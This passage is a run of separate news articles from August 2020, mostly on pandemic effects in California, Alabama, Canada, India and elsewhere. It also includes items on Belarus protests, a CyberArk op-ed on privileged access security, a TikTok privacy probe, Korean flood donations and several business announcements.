450 tips in its first three days but has yet to prompt the issuing of any citations. The Press Democrat reported this week that one-third of those who called in were complaining about unmasked individuals exercising, sometimes in groups. Another third reported a business they believed to be operating in violation of the order. Such businesses included higher-risk, close-contact establishments, like gyms and salons, and even bars allegedly welcoming customers in through the back door. The last third of calls were not complaints appropriate for the tip line. Read more from SFGATE. Aug. 11, 8:30 a.m. Salesforce has donated a total of $18 million to support Bay Area schools in advance of the new school year, which begins this month. With the contribution, the company said it hopes to support teachers and help close the digital technology divide amid the pandemic. While parents and children are expected to embrace remote learning, many students dont own a computer or have internet access. Shutting down schools amid the COVID-19 pandemic has disproportionately impacted vulnerable populations. Nine million will support the San Francisco Unified School District, building on existing programs that aim to improve student outcomes and opportunities. Another $9 million will support middle school students and educators in the Oakland Unified School District, with unique support for Newcomers unaccompanied immigrant youth, refugees and asylum seekers. Read more here from SFGATE. Aug. 11, 8 a.m. Russia on Tuesday became the first country to approve a coronavirus vaccine for use in tens of thousands of its citizens despite international skepticism about injections that have not completed clinical trials and were studied in only dozens of people for less than two months. President Vladimir Putin said while announcing the approval that one of his two adult daughters already was inoculated. He said the vaccine underwent the necessary tests and was shown to provide lasting immunity to the coronavirus, although Russian authorities have offered no proof to back up the claim of its safety or effectiveness. I know it has proven efficient and forms a stable immunity, he said. We must be grateful to those who made that first step very important for our country and the entire world. The Associated Press contributed to this report. Read more here. Aug. 11, 7:45 a.m. The Bay Area's NPR and PBS member station KQED announced 20 layoffs on Monday evening. The layoffs represent 5.5% of the station's workforce. A "handful" of other employees had their hours reduced. Senior leadership said the station is facing a $7.1-million budget gap for the next fiscal year after the coronavirus pandemic fueled a sharp decline in corporate sponsorship. Members of the senior leadership team will take compensation cuts of roughly 12% in the next fiscal year. Read more here from SFGATE. Aug 11. 7:15 a.m. California cleared its lab testing backlog of nearly 300,000 coronavirus cases over the weekend following massive data reporting issues, Governor Gavin Newsom announced in a press conference Monday. This will allow the state to update its county watch list imminently, affecting school districts seeking a waiver from county officials to reopen schools. According to state guidelines, no school in any county may reopen for in-person classes unless its district has received an elementary school waiver for students in grades K-6 or until the county has been removed from the list for 14 consecutive days. Without accurate coronavirus case data to consult due to the data glitch, county officials could not definitively say whether or not it was safe to grant a waiver to open schools. On Monday, Newsom said the data reporting issue had been resolved, and within 72 hours the state will reassess which counties are and aren't still being monitored. This retroactive data will be used to update county dashboards over the last 14 days and determine if any should have been added to or removed from the state's monitoring list, which tracks several metrics related to COVID-19. When the list is updated, school districts will have a clearer idea on when they will be able to seek waivers to reopen for in-person instruction. Bay City News contributed to this report. Read more here. Coronavirus in the greater Bay Area: Links you need COUNTY HEALTH DEPARTMENTS Alameda County: Find the latest COVID-19 numbers and health order. Contra Costa County: Find the latest COVID-19 numbers and health order. Lake County: Find the latest COVID-19 numbers and health order. Marin County: Find the latest COVID-19 numbers and health order. Monterey County: Find the latest COVID-19 numbers and health order. Napa County: Find the latest COVID-19 numbers and health order. San Benito County: Find the latest COVID-19 numbers and health order. San Francisco County: Find the latest COVID-19 numbers and health order. San Mateo County: Find the latest COVID-19 numbers and health order. Santa Clara County: Find the latest COVID-19 numbers and health order. Santa Cruz County: Find the latest COVID-19 numbers and health order. Solano County: Find the latest COVID-19 numbers and health order. Sonoma County: Find the latest COVID-19 numbers and health order. WHAT YOU NEED TO KNOW Here are answers to your most frequently asked questions about coronavirus Lasting heart damage could be COVID-19's legacy for some non-hospitalized survivors Bay Area had avoided spikes until shutdown fatigue, early reopening and prison outbreak WHEN WILL THE BAY AREA REOPEN? Is it less dangerous to reopen elementary schools than high schools? Solano County health chief: It may be impossible to get off state watch list San Mateo County added to state COVID-19 watch list, faces business closures South Korea was greatly affected by torrential rains and heavy floods across the regions. It destroyed infrastructure buildings, farms, and made several homeless. Apart from the government's efforts to help the victims, many Korean celebrities also went the extra mile to share their earnings to the relief campaign. The Korea Disaster Relief Association is the organizing committee responsible for distributing goods and food reliefs to the affected area. They receive donations from different organizations, most notably, from these public figures. On August 6, Park Shin Hye was reported to have made a generous donation of 100 million won, or approximately 84,000 USD. The association also revealed that GOT7's Jinyoung donated 20 million won, approximately 16,800 USD, without his agency knowing. The idol-actor did the meaningful deed without a buzz in his intention to help the flood victims. One of the many celebrities who lent a helping hand is actress Park Bo Young. It was reported on August 10 from News1 that the actress extended a donation of 20 million won, approximately 16,800 USD, to the Hope Bridge National Disaster relief Association. Earlier this year, she also donated 50 million won, or approximately 42,000 USD, for the aid in the prevention of spreading the coronavirus. Han Hyo Joo, on August 10, also donated all her earnings to her affected hometown. She appeared on tvN's variety show "Hometown Flex" and wished to give all her earnings to the New Life Support Center located in Chungju. In addition, Chun Woo Hee also made a contribution by donating 10 million won, approximately 8,400 USD, to the same association to help and support the flood victims. Yoon Se Ah shared on her Instagram account that she made a 10 million donation to the Korea Disaster Relief Association. She made a heartwarming caption, "We're in this together. Stay Strong!" Since the torrential rains affected the country, more celebrities joined efforts to help. Superstar Song Joong Ki donated 50 million (approximately 41,900 USD), while icon Park Seo Joon donated 100 million won (about 83,800 USD), to the same association. Ki Eun Sae and Lee Hye Young saw the news and also made their contribution of 10 million won, or around 8,370 USD, each to the same organization. Fans were amazed and moved upon seeing that their favorite actors and actresses are beautiful inside and out. Listen to Outbreak Alabama: Stories from a Pandemic, above. Today, we hear from Desmond Wilson, video producer for Reckon South and host of the new Facebook Live show Black with Covid. Earlier this summer, Dez tested positive for COVID-19. He experienced symptoms like extreme fatigue and loss of smell and taste, but thankfully didnt have any upper respiratory issues and is now feeling well. Dez is a healthy 32-year-old guy, but he was cognizant of the fact that Black Americans are dying in disproportionate numbers from coronavirus. Data from the COVID Racial Data Tracker and U.S. Census Bureau shows that Black people are being hospitalized and dying at a higher rate than most other groups in America. In fact, Black people are dying at 2.5 times the rate of white people, accounting for 22 percent of COVID-related deaths. This data, and his and his friends' personal experiences with COVID-19 prompted him to launch his new Facebook show "Black with COVID" for Reckon South, which their battles through a deeply personal lens. You can watch it every Monday at 11 a.m. We spoke to Dez about when he tested positive for COVID-19, how he could not pin down when he was exposed, the denial and anxiety he felt after his diagnosis and what he wants others to know about the virus effect on the Black community. Outbreak Alabama will release two or three episodes per week, chronicling the experiences of those directly impacted by COVID-19s spread, including health care professionals, business owners, city leaders, artists, AL.com reporters and many others. If you or anyone you know is affected by coronavirus and want to share your story, please email bflanagan@al.com. For all of our coverage on the outbreak and how it continues to impact Alabama, visit AL.com/coronavirus. Listen and subscribe on Apple, Spotify, Stitcher, Acast or wherever you get your podcasts. If you like the show, please rate it and write us a review. Thank you for listening. More from Outbreak Alabama: Are bars really the problem? Historic theaters in grave situation Will the college football season really happen? Masks on, mourners from near and far honor John Lewis A restaurant celebrates 40 years, despite the pandemic Moderating a COVID-19 Facebook group The scramble to reopen schools Yall have to wear a mask COVID-19s psychological toll Setting the wrong records What its like to have coronavirus Its not about you The death rate Its on us, yall The unemployment crisis Trending the wrong direction Do we even want a football season? Where is God right now? Are you ready for concerts again? CNNs Kaitlan Collins on covering COVID-19 and Trump Protesting during a pandemic Cases are surging in Tuscaloosa Nick Saban steps it up Whats next for schools? The spike in Montgomery Astonishing disparities in the rural South Where is the nursing home data? Is it a mistake to reopen now? Whiter Thomas on staying creative during the pandemic Our successes and failures so far The return of retail A barbers dilemma Is it really time to reopen Alabama? A coronavirus survivors message to the rest of us Ivey not ready to reopen just yet Crime in the age of coronavirus What role do our churches play? The absence of sports Learning from a distance Walt Maddox on leading Tuscaloosa through coronavirus Social distancing, or not Coronavirus early impact on musicians Alabama restaurants New Delhi, Aug 12 : In an attempt to assist states effectively address the situation arising out of the Covid-19 pandemic, the Centre on Wednesday released the fifth instalment of their share of revenue deficit grant, amounting to over Rs 6,000 crore. The grant had been released for 14 states - Andhra Pradesh, Kerala, Himachal Pradesh, West Bengal, Uttarakhand, Tamil Nadu, Punjab, and all northeastern states excluding Arunachal Pradesh. "The government on August 11, 2020 released Rs 6,195.08 crore to 14 states as the fifth equated monthly instalment of the Post Devolution Revenue Deficit Grant as recommended by the 15th Finance Commission. This would provide them additional resources during the Corona crisis," Finance Minister Nirmala Sitharaman's office said in a tweet. The money has been released ahead of schedule and as a special dispensation to meet immediate funding needs of the state governments looking to restore economic activity and minimise losses to its citizens due to disruptions caused by lockdowns. Of the 14 states, the maximum grant-in-aid in August has gone to Kerala, which has got an amount of 1,277 crore followed by Himachal Pradesh with a revenue deficit grant of Rs 953 crore. Much of this money is expected to be used by states towards paying the salaries to their staff as sharp fall in tax collections in April and May has already put pressure on their accounts. Less than a month after Donald Trump deployed federal agents to Portland to beat back protesters near a federal courthouse, the White House has issued a statement calling on the Belarusian government to refrain from using force against peaceful protesters. Protests in Minsk, the capital of Belarus, broke out after the countrys autocratic president Alexander Lukashenko was re-elected with 80 per cent of the vote. Protesters and opposition party members claim the election was rigged, and pointed to the governments denial of election observers as evidence that the process was not legitimate. Police used tear gas, grenades and water cannon against the protesters to quell the protests. As of Monday, the streets of Minsk are quiet. Mr Lukashenko has held power in Belarus since 1994. Recommended Belarus opposition candidate rejects poll result and calls for strike During a press briefing on Monday, Kayleigh McEnany, the White House Press Secretary, was asked if the president had any comment on the violence and claims of election fraud in Belarus. We are looking at that and were deeply concerned by the Belarus presidential election. Severe restrictions on ballot access for candidates, prohibition of local independent observers at polling stations, intimidation of opposition candidates and the detention of peaceful protesters and journalists have marred the process and we urge the Belarusian government to respect the right to peaceably assemble and to refrain from use of force, she said. In late July, Ms McEnany showed a video, widely compared to state propaganda, which showed protesters and police clashing in Portland in an attempt to paint the protests as violent uprisings. Protesters in Portland have claimed that it was federal agents who instigated and amplified violence in the city. The mayor of Portland, Ted Wheeler, called on federal troops to leave the city multiple times. Ms McEnany previously supported the heavy-handed response of federal officers in Portland. The federal government has a sworn duty to uphold the laws of the United States through field offices and federal facilities across the country, she said. These are not the actions of so-called peaceful protesters in the Trump administration will not stand by and allow anarchy in our streets. Police and federal troops have used rubber bullets to shoot protesters, blowing out the eyes and cracking the skulls of some individuals and have detained journalists including the Independents own Andrew Buncombe in the course of responding to the George Floyd protests that have raged since May. Mr Lukashenko dismissed his opponent, Svetlana Tikhanovskayas, calls for him to step down amid the protests, claiming she was a poor little girl who was being controlled by foreign puppet masters. The Belarusian president called the protesters sheep and vowed they would not tear the country apart. They are trying to orchestrate mayhem, Mr Lukashenko said. But I have already warned: there will be no revolution. By Adam Bosnian, Executive Vice President, CyberArk Organizations are working to defend themselves on an increasing number of fronts external adversaries, internal forces, and even hidden threats in existing tools and supply chains. These fronts are dynamic and can be unpredictable and difficult to prepare for, but these known unknowns can be planned for. What really causes sleepless nights are when attackers open up a whole new front of digital warfare on a front or fronts that we didnt even know existed. Driven by both the rush to digitally transform and the environmental change that is the new normal, enterprises are being pushed to run faster, be more agile, and operate as efficiently as possible. As a result, CIOs are constantly adopting new technologies to move data and workloads to the cloud, automate existing processes, bring new revenue-generating applications to market faster than competitors, and enable new mobile and social customer experiences. There is good news for the CIO, such as increasing their ability to impact the success of these wider business initiatives. There is also bad news, as this proliferation of initiatives and the related technology that enables them equals increased vulnerability to attack. Some of these will be predictableand some of them less so. Predictable threats are ones that we have always faced or are obviously going to come as the result of a planned business initiative. They may on occasion be damaging, but they are a known risk, and an experienced CIO can plan for them. Lessons From History: Unpredictable Attacks Are the Most Damaging Threats that come from out of the blue are the ones that have the potential to cause deeper disruption. There are lessons from history that illustrate what can happen when threats come from an unexpected direction. One marked example is the sack of Rome in A.D. 410. While the glory days of the Roman Empire were gone, Rome itself had survived invasion and siege for over 800 years. While it was no secret that the Visigoths our external attackers in this case wanted to hold the city to ransom in order to force the Romans to cede land and power to them, the citys walls were strong. Compromises were made to allow supplies to citizens, and attempts at military reinforcements were made. However, once it became apparent that Rome would never accede to the Visigoths demands, agents within the city malicious insiders if you will opened Romes Salarian Gate and 40,000 invaders marched into the city, razing much of it to the ground virtually unopposed. In the present day, two recent events serve to demonstrate the potential severity of attacks on an undefended front. The first was driven and still is being driven by the ongoing global health crisis. As organizations worldwide pivoted to remote working, CIOs suddenly had to cope with a hugely expanded and in some cases an entirely new set of vulnerabilities. Our own research showed that the home workforce immediately adopted behaviors that could threaten the security of critical assets and data. These behaviors included, but were not limited to: password re-use; letting family members use corporate devices; and using unmanaged, insecure bring-your-own-device (BYOD) products to access corporate systems. The reason these behaviors create grave risks to enterprise security is that they tightly align with the modus operandi of the majority of attackers. Every corporate device that becomes vulnerable and every password that is re-used or saved in a browser becomes a target and amplifies the risk of a breach or malicious incident. This is especially true when it comes to privileged credentials these credentials should be considered the most important in any organization because they provide elevated access and permissions to accounts, applications, and infrastructure. The second is a more practical demonstration of just what attackers can do when they compromise privileged access. In the case of the attack on Twitter, employees with administrative access were targeted in a social engineering attack designed to trick unsuspecting employees into making security mistakes, such as giving up passwords, clicking a malicious link, and more. Once the attackers were able to steal and exploit this privileged access, they could access the internal controls used to manage accounts, ultimately taking control of high-profile accounts like those belonging to Barack Obama, Elon Musk, and more. These situations both show why attackers covet privileged credentials by exploiting them, they can elevate their level of access to move from an endpoint into networks, applications, cloud, and more. This allows attackers to target and steal sensitive data while exponentially increasing potential damage. Prioritizing Privileged Access Management to Guard Against the Unpredictable Put simply, cyber attacks cannot be stopped if privileged access is not secured. This means everywhere in the cloud, on the endpoint, in applications, in automated processes, and throughout the DevOps pipeline. Protecting privileged access should be on the mind of every CIO and indeed on that of the entire leadership team and board of directors, because regardless of the organizations size or location, privileged access is being targeted and used to facilitate devastating attacks. This is why privileged access management is firmly established as a top CIO priority, one that provides proactive controls that can provide peace of mind when battling in these dynamic environments, and preparing for whatever front however unexpected we must defend next. To learn more about how privileged access management can help protect organizations most critical data, infrastructure and assets, download a complimentary copy of the Gartner 2020 Magic Quadrant for Privileged Access Management1: https://www.cyberark.com/gartner-mq-pam/ 1. Gartner, Magic Quadrant for Privileged Access Management, Felix Gaehtgens, Abhyuday Data, Michael Kelley, 4 August 2020 Gartner does not endorse any vendor, product or service depicted in its research publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartners research organization and should not be construed as statements of fact. Gartner disclaims all warranties, express or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose. The coronavirus pandemic chalked up another horrific milestone on Monday as the world surpassed 20 million recorded cases of the infection. The number of confirmed victims is now 20,002,577, with 733,842 deaths. The global death toll is expected to surpass 750,000 in a matter of days. Recognising the huge amounts of pain and suffering behind the statistics, World Health Organisation chief, Tedros Adhanom Ghebreyesus, has stressed the need to continue the fight against the disease. "It's never too late to turn the outbreak around," he said. The WHO director gave examples of countries that have successfully clamped down on Covid-19, specifically mentioning Rwanda and New Zealand. Infections on the rise in Europe Infections have been rising ominously in western Europe, which has also been sweltering through a heatwave, with temperatures soaring above 35 degrees Celsius. The blistering heat sent crowds flocking to beaches at the weekend despite health warnings about the risk of infection. As of Monday evening, the United States -- the world's worst-hit country -- had recorded 163,370 deaths and 5,085,821 cases of infection. After the US, Brazil has the most cases, and over the weekend it became the second country to pass 100,000 fatalities. Vaccine not the answer to everything With much of the world caught in a cycle of dispiriting outbreaks and economically crushing lockdowns, all eyes are on the race for a vaccine. A WHO overview said 165 candidate vaccines are being worked on around the world, with six reaching the final phase of clinical evaluation before they can be launched as a treatment for the general population. But the WHO's emergencies director Michael Ryan has warned that a vaccine is "only part of the answer," pointing to polio and measles as diseases for which there are vaccines, but that have not been fully eradicated. YEREVAN. The investigation of the criminal case against the second President of Armenia Robert Kocharyan and the other former officials is accompanied by all kinds of violations from the very beginning. Aram Vardevanyan, one of Kocharyans lawyers, on Tuesday stated this in a conversation with journalists. The lawyer stressed that the investigation was to blame for the delay in the respective court hearing, as it sent 80 materials of the case to court; moreover, the investigator himself admits that only accusatory materials were selected. Vardevanyan added that the lawyers of this case were not allowed to get familiarized with the rest of the materials. As for the allegations of delaying the case, the lawyer reminded that back in March and April, the defense had no information at all about the whereabouts of the presiding judge and the reasons for the rescheduling of the court hearings. "If the issue at hand is that someone needs lightning solutions, then there is no such thing in the world. The sheer volume of the case requires a lot of time. The case is accompanied by various types of violations from the very beginning, "Aram Vardevanyan stressed. The increase in Canadians working from home could have a huge financial impact on the food service industry, to the tune of billions of dollars lost by 2021. A new survey shows that more and more Canadians see telecommuting as a permanent option, and that means fewer customers for coffee shops, lunch spots, pubs and more in urban centres. This will contribute to $20 billion in lost revenue in the upcoming year for the industry hard-hit by the COVID-19 pandemic, the report predicts. Almost 11,000 Canadians were surveyed about working from home and food expenses at the end of July by the Agri-Food Analytics Lab at Dalhousie University, in partnership with research firm Caddle. Almost a quarter of the respondents, or 23.6 per cent, said they plan to work from home more often a year from now, while another 40 per cent either said they didnt know, or they dont know what they will be doing a year from now. Quebec had the highest percentage of respondents saying they plan to work from home more often a year from now, at 28.9 per cent, while Ontario came second at 24.8 per cent. As well, millennials (born 1981-1996) had the highest percentage of any demographic, at 25.3 per cent. Of those who plan to work from home more often, 57 per cent plan to spend less at restaurants because of it. Before the pandemic, 36.8 per cent of the surveys respondents were going to a restaurant for a meal or a break at least twice a week. When the pandemic ends, only 23.3 per cent of respondents plan to continue this a significant drop, said Sylvain Charlebois, the lead author and Dalhousie professor in food distribution and policy. Thats becoming more and more of a legitimate option for a greater number of employers and actually will have a huge impact on the food industry and its architecture, he said. Close to 22 per cent of respondents said their employers are planning to allow people to work from home more often, and of those respondents, more than half intend to work from home permanently, with some considering relocating because of it. The majority of these 70.1 per cent plan to spend much less time and money at restaurants. Charlebois said the impact of more Canadians permanently working from home and potentially moving outside of urban centres will be significant on the food industry, especially on restaurants in urban cores that once relied on commuting workers. According to an analysis of Statistics Canada data in the report, before the pandemic, the ratio in sales between food retail (such as grocery stores) and food service was around 59/41 per cent. But in May, that ratio was closer to 91/9 per cent. Though monthly food retail sales didnt change much, going from around $7.7 billion monthly pre-pandemic to $7.8 billion in May, monthly food service sales went from $5.3 billion monthly pre-pandemic to $891 million in May, according to the reports analysis based on Statistics Canada. Of course, thats after the early pandemic spikes which saw food retail sales jump thanks to Canadians hoarding toilet paper, flour and more. Charlebois said now that grocery store hoarding has settled, Canadians arent necessarily spending much more at the grocery store than they were before dollars spent at a restaurant arent equal to dollars spent on groceries, he explained, and Canadians are just generally spending less on food. What were showing is that the pie has shrunk. As well, Charlebois thinks people may be wasting food less by cooking at home. The report estimates the ratio of food retail sales to food service sales will be around 70/30 by July 2021, which would represent a loss of around $20 billion to the food service industry within the next 12 months and approximately 30 per cent of that loss will be because of telecommuting, the report suggests. David Lefebvre, vice-president of Restaurants Canada, said the reports predictions feel conservative based on what his organization is hearing. After all, its a snapshot, he said, and the fact that 40 per cent of respondents dont know where theyll be working in a year indicates that the number of people who plan on working from home permanently will likely continue to rise. We feel that as the situation unfolds, you will have more people working from home for a longer period of time, he said. Lefebvre said the food service industry normally sees around $98 billion in sales annually, but by his organizations prediction, that number will have fallen by around $30 billion when 2020 ends. The worst thing will be if restaurants are forced to close again, he said. Charlebois said he thinks restaurants in urban cores, especially coffee shops and lunch spots, will be hardest-hit he said people will continue to go to restaurants, but less often and for different reasons. The pandemic is clearly transformational, said Charlebois. I think its going to change many economic sectors, including food service. Lefebvre said restaurants in the urban cores will overall be disproportionately affected, but especially sit-in restaurants that dont offer delivery or takeout. As well, coffee shops and pubs where people gather after work will be greatly affected, he said. Read more about: A rape suspect from Maryland who shot and killed a woman in Virginia died on August 8 from a self-inflicted gunshot wound that he got on August 5. According to the Alexandria Police, the man was accused of sexual assault by the victim. He was released temporarily due to COVID-19 scare in jails. Going after the victim The suspect, 33-year-old Ibrahim E. Bouaichi, was wanted for the murder of Karla Dominguez on July 29. She was found shot to death outside her apartment. The authorities spotted Bouaichi on August 5 in Prince George's County, Maryland. The chase ended in a car crash. When the authorities reached his car, they saw that he had shot himself. He was immediately rushed to the hospital and had been in grave condition since he arrived. Bouiachi was in a relationship with Dominguez, he was indicted on rape charges in 2019 and was released in April 2020 because of the coronavirus pandemic, according to the Washington Post. Also Read: Major Gas Explosion in Blatimore Kills One, Injures Dozens The suspect was accused of sodomy, rape, strangulation, burglary, abduction, and malicious wounding in the attack that happened on October 10, 2019, as reported by The Sun. The attack happened at Dominguez's apartment in Alexandria, Virginia and she testified against him in December 2019, stating that the attack was violent and the sex was not consensual. The grand jury dropped the malicious wounding charge in its indictment. However, when the coronavirus pandemic was at its peak, the attorneys of Bouiaichi argued that it was dangerous for him and them if he remains in jail while waiting for the trial, as reported by New York Daily News. The prosecutors objected but Circuit Court Judge Nolan Dawkins released Bouaichi on $25,000 on April 9. He was ordered not to leave his home in Maryland except to meet his attorneys. On August 8, it was reported that Greenbelt police had arrested Bouiachi in May when they found him drunk in a drive-thru line at a Wendy's restaurant and allegedly rammed a cruiser with his vehicle. He was charged with multiple counts of assault, drunk driving and traffic charges, he was then released on bond after he spent a night in jail. Alexandria Commonwealth's Attorney Bryan L. Porter told The Washington Post that prosecutors would have filed a motion to revoke the suspect's bond, but neither Greenbelt police nor Prince George's County notified Alexandria of the arrest. On July 29, Bouiachi went back to Alexandria and shot Dominguez outside of her apartment. The attorneys of the suspect, Manuel Leiva and Frank Salvato said in a statement that they were "saddened by the tragedy both families have suffered" and that they had been waiting for the trial of the cases if not for the COVID-19 pandemic. Releasing the suspect In April, both attorneys argued that coronavirus restrictions at the jail meant that the suspect was "being effectively deprived of legal counsel." The attorneys argued that they were prevented from face to face meetings with their clients and they were only allowed video conferences for 30 minutes at a time. However, Alexandria jail spokeswoman Amy Bertsch said that they allow in-person visits on request but they do not have any record of Mr. Leiva and Mr. Salvato requesting a face-to-face visit with Ibrahim Bouaichi after the protocols went into effect in late March. Related Article: Man Stabs Brother to Death Due to Heated Argument Overly Freshly Laundered Pillowcase @ 2022 HNGN, All rights reserved. Do not reproduce without permission. Jaak Kaabel, Chairman of the Management Board of OU TS Laevad (hereinafter: TS Laevad), a subsidiary of AS Tallinna Sadam, has expressed a wish not to run for a new term after the expiry of his term of office on 10.09.2020. Jaak Kaabel has been the Chairman of the Management Board of TS Laevad since September 2017. "I have had a great opportunity to manage a strategically important company for Estonia at a time when the numbers of passengers and vehicles on our ferry lines were record high, but also in several crisis situations, such as during the corona pandemic or when we opened a temporary ferry line from Heltermaa to Virtsu due to low sea level in Rukki channel. I am pleased to say that TS Laevad is a strong, ambitious and well-functioning company today, I thank all colleagues and partners for their trust and smooth cooperation," said Jaak Kaabel. Valdo Kalm, Chairman of the Supervisory Board of TS Laevad, highly appreciates Jaaks contribution to the development of TS Laevad. Under his leadership, TS Laevad has developed into a customer- and environment-friendly service company. The ferry Toll is becoming a hybrid ship, on-board services have been renewed and customer satisfaction has risen to a record high. We thank Jaak for his contribution and wish him exciting new challenges. The Management Board of TS Laevad has three members, including Jaak Kaabel, Guldar Kivro and Ave Metsla. For the position of the Chairman of the Management Board of TS Laevad a public competition will be announced. From 11.09.2020 until a new chairman is found, Guldar Kivro will act as the Chairman of the Management Board. Tallinna Sadam is one of the largest cargo- and passenger port complexes in the Baltic Sea region, which in 2019 serviced 10.64 million passengers and 19.9 million tons of cargo. In addition to passenger and freight services, Tallinna Sadam group also operates in shipping business via its subsidiaries OU TS Laevad provides ferry services between the Estonian mainland and the largest islands, and OU TS Shipping charters its multifunctional vessel Botnica for icebreaking and construction services in Estonia and offshore projects abroad. Tallinna Sadam group is also a shareholder of an associate AS Green Marine, which provides waste management services. According to audited financial results, Tallinna Sadam groups sales in 2019 totaled EUR 130.5 million, adjusted EBITDA EUR 74.3 million and net profit EUR 44.4 million. Story continues Additional information: Marju Zirel Head of Investor Relations AS Tallinna Sadam m.zirel@ts.ee A further probe has been opened into the privacy policies of popular social media videoing app, TikTok. The Chinese-owned company, which last week said it plans to open its first European data centre in Ireland, as part of a 420m investment, is already under pressure in the US, over concerns of Chinese government control and risks to user data. Now, Frances privacy watchdog has opened a probe into TikTok, which is owned by Chinese internet technology group, ByteDance. The French authority, CNIL, is looking at a number of issues, including how the company communicates with users and the protection of children. The questions are part of an investigation into TikToks plan to set up an EU headquarters for data purposes. In June, the EUs data-protection chiefs pledged to co-ordinate potential investigations into the Chinese company, establishing a taskforce to get a better understanding of TikToks processing and practices across the EU. The EU taskforce would also likely give the final decision on the plans by the company to set up its EU base for data purposes in Ireland. This could mean that future probes would be led by the Irish data authority, which is already the lead privacy regulator for tech giants, including Google, Facebook, and Twitter. The CNIL also said it had closed a separate probe, based on a TikTok users complaint. CNIL said that for TikTok to set up headquarters in Ireland, it would need to prove that its base there fulfills the necessary conditions under the blocs data-protection rules. In May, the Dutch data-protection commission said that it is looking into TikToks policies to protect childrens data; in June, the Danish watchdog also announced a probe. The UKs Information Commissioners Office has been looking into TikTok since last year. TikTok is also under increasing pressure in the US: President Donald Trump said he would ban the app, best-known for lip-syncing videos, on the grounds that it jeopardises national security. Microsoft is in talks to acquire the operations of TikTok in the US, Canada, Australia, and New Zealand. The company has rejected claims that its controlled by the Chinese government or that user data is at risk. The 27-nation EU has some of the strictest data-protection laws in the world. The General Data Protection Regulation, or GDPR, gives EU authorities the power to fine companies as much as 4% of global annual sales for the most serious violations. Inspiring the next generation of African scientists Sikhumbuzo Masinas story "If there is inspiration and collaboration, there is learning, and learning can be passed on," says Sikhumbuzo Masina, PhD candidate. [This article is supplied by the START (Synchrotron Techniques for African Research and Technology), a collaborative project between scientists in Africa and the UK working together on research using synchrotron science.] Sikhumbuzo Masina is a PhD student at the University of the Witwatersrand, South Africa, investigating Solid Oxide Fuel Cell (SOFC) electrolytes for alternative energy solutions in Africa and beyond. From humble beginnings as a shepherd in Swaziland, to a PhD student collaborating with the START community, Sikhumbuzo has reached the position he is in today through talent, persistence, and the inspiration of others. One of a group of Masters, PhD students and post-docs who attended STARTs Energy Materials workshop at the University of Cape Town (UCT) in December (2019), Sikhumbuzo is part of STARTs extended-family through his PhD supervisor and mentor, Professor Dave Billing. For Sikhumbuzo, possibility is the seedbed for ingenuity and it is this, he explains, which drives his desire to reach out and inspire the next generation of science students. This is Sikhumbuzo Masinas story in his own words. Humble beginnings I grew up with very few resources and life in Swaziland was very hard. My father passed away before I was born and my mother couldnt fund my schooling. From the age of 12 years, I therefore had to work away from home as a shepherd to raise funds for school fees. I was fortunate enough to work for kind people who took me into their family and encouraged me to go to school. From the money I earned in my spare time herding farm animals and assisting on the farm, I was able to fund my schooling until high school. School became too expensive, however, so the Priest at the local Catholic Church took responsibility and paid much of my school fees through a church fund to support youth; the rest was topped up by a government bursary. I am very grateful for this support. Inspired to think big my PhD dream! I did very well in high school and found inspiration through my two brothers in the family I was working for who had been to university. They were the people I looked up to and motivated me to work hard and have a vision for my future. I would say to myself, They wanted PhDs and I want to have a PhD too at some point in my life. I did not even know what a PhD was! However, the fact that I saw and liked what they were doing was very important for me. After I completed school, I took advantage of the Governments study loan scheme for students because I couldnt support myself. This paid for my tuition and accommodation, and meant I could do my first degree and finish it! The importance of being a role model Given that I have benefitted in a life-changing way from the inspiration and opportunities provided to me by others, I have a strong desire to devote time to outreach it is something I always hunt for wherever I am. For example, before I came to Wits University for my PhD, I was a teacher which enabled me to save up money for my postgraduate studies. This has given me helpful experience for outreach events and inspiring others. When I was a teacher, I would also tutor children from the local SOS childrens village where the orphaned and vulnerable children stay, giving them tutorials in maths and science and teaching them life skills I wanted to be a role model to them like the two brothers I looked up to as a child. Raising awareness of synchrotron techniques and GCRF START This experience I bring to the Universitys Whizz Bang group I am part of. Whizz Bang involves postgraduate students from the School of Chemistry and promotes science through outreach events and also school visits to underprivileged schools around Johannesburg. At our events, we demonstrate a variety of chemical experiments and use the START banners in our displays to raise awareness about the important influence of synchrotron techniques on African research, especially in terms of energy materials. This is also a good way to bring attention to the many opportunities provided by START. Investing in future African scientists, research and innovation I believe strongly that you have to invest in science and scientists for the long-haul. If you train people and then stop investing in training and research, people lose trust and hope, and may give up. Continuity and sustainability is also lost in terms of research programmes. I think it is vital to get people across Africa on board with GCRF START, including from smaller countries like Swaziland, Namibia and others. We need to establish links and collaborations at every level and run workshops and training. Yes, we dont always have the instruments needed to get the preliminary data for applying for synchrotron beam time at world-class facilities like the UKs Diamond Light Source but even collaborating with scientists from these places through a network like START can open up exciting avenues to grow, access equipment and develop the expertise to get the necessary data. A continuous, sustainable learning cycle My own case demonstrates that if there is inspiration and collaboration, there is learning, and learning can be passed on! Even if students like me move elsewhere, we will stay connected because it is an ongoing collaboration we are part of. When I go back home to Swaziland, I carry on with my tutoring. I know it is time-consuming but I feel a responsibility to share my knowledge to inspire the next wave and the next wave of students, so that it is a continuous, sustainable learning cycle. How to join and collaborate with GCRF START START exerts its influence beyond the students and scientists that it directly funds, inspiring the next cohort of PhD and Postdoctoral students, developing their knowledge and skills, and enabling collaboration that can last a lifetime. For more information about collaborating with, or joining the START programme contact the START Project Coordinator at: GCRF_START@diamond.ac.uk ICICI Lombard General Insurance Co. Ltd, Indias largest private non-life insurer, is in advanced discussions to acquire Bharti AXA General Insurance Co. Ltd and merge the insurance assets of the two companies, said two people aware of the talks. Both companies are negotiating the valuation of Bharti AXA, the people said, requesting anonymity. ICICI Lombard, which has an 8.4% market share and is owned 51.89% by ICICI Bank Ltd, underwrote a gross premium of 3,302.19 crore in the June quarter, 5.3% less than the same period last year. This was, however, in line with a weakness in the overall industry. Bharti AXA General, in comparison, recorded a 12% year-on-year drop in gross premium to 508.93 crore during the quarter. The acquisition plans come at a time when the general insurance industry is reeling due to the disruption caused by the Covid-19 pandemic and the economic slowdown. The existing 25 general insurers (excluding standalone health insurers) saw a 6% drop in premium in the June quarter due to a steep slowdown in sales of non-life policies in the wake of a prolonged lockdown that led to a temporary halt in most commercial activities. The two companies are still in discussion and the plan is that ICICI Lombard will acquire the entire stake of both Bharti Enterprises and AXA. Bharti AXA has a much smaller business, but the two companies are willing for the 